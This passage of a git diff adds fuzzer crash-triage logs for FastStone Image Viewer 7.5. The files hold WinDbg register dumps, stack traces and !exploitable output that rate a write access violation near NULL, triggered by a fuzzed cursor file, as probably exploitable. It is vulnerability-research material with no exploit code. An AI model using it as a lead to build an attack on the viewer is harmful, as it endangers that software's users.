Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..320b5b4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1934: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1934: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1934.1318): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fc6afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.52109e-022 -3.48357e-025 -1.80443e+018 -3.05669e-016 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002e2000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002e2000 9490860e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ac 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002e2000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..320b5b4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1934: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1934: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1934.1318): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fc6afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.52109e-022 -3.48357e-025 -1.80443e+018 -3.05669e-016 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002e2000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002e2000 9490860e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ac 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002e2000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..de06d63 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/36850/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..92b6696 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/37329/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** 